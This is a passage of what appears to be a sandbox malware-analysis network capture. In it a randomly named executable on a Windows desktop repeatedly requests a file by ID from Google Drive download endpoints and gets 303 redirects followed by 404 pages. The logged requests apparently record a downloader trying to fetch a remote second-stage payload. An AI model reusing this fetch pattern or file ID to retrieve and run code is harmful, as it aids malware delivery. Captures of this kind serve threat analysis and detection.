2025-01-10 14:39:54 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:54 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-jjiRYZkvH-MsZ2z_GiPmCw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.7	52230	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:55 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:56 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4-Ffjb-ClqqjuqL-ctkK8AL2hXjDna6vXr_CNlT-URa_xi9qLsdfsZNk1W62B93ukubeQN7yU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:55 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'nonce-W002gmwOkydt7E2wVEkS3g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:56 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 46 49 4a 4e 68 6d 54 33 72 45 39 39 67 6f 49 35 73 77 4a 71 71 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="FIJNhmT3rE99goI5swJqqA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.7	52231	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:56 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:57 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:57 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-c80InAIqdrIRzE5nS5eg3A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.7	52232	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:57 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:58 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgR6qA1sjjLWHzUZmSgtHyxUeISbuFVdvKDyrpHt_EdQUc6cpAbYJdZg6V6V86vfC7jyZDvzEpE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:58 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-R34HUDyU8rT4i4KNzKOzYg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:58 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 31 51 35 72 79 51 55 73 56 4b 39 41 45 56 52 35 34 72 2d 57 31 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="1Q5ryQUsVK9AEVR54r-W1A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.7	52233	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:59 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:59 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:59 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-70MP4T_qoe9-yfO1coyLow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.7	52234	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:00 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:00 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgR38k9ekxwDxSdsYR-3m1aY1A_jx5k62kG5pmCTOjq09a_O65wabBT-bFvZkMr9RjdR Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:00 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-VAEdNDbi0Lfe6pIvhAfwKA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:00 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 6a 46 75 4b 50 57 4d 38 4e 70 71 4c 50 4f 48 70 45 58 59 62 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="9jFuKPWM8NpqLPOHpEXYbA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.7	52235	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:01 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:01 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:01 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-CP0qdCmPtOQsndJWfNtJ9w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.7	52236	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:02 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:40:03 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQqfCi4eVRg4oQApnPAvqVklbAgG2t8gSvdf3zcYeoTw_X6y9-27f3x9sn3_2JzfUjyXeaX2zU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:40:02 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-wKWt0sHf383pA4KBnIxx2Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:40:03 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 4a 44 46 65 6c 45 56 38 7a 74 36 48 35 4b 50 32 75 50 56 51 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="iJDFelEV8zt6H5KP2uPVQg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.7	52237	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:40:03 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
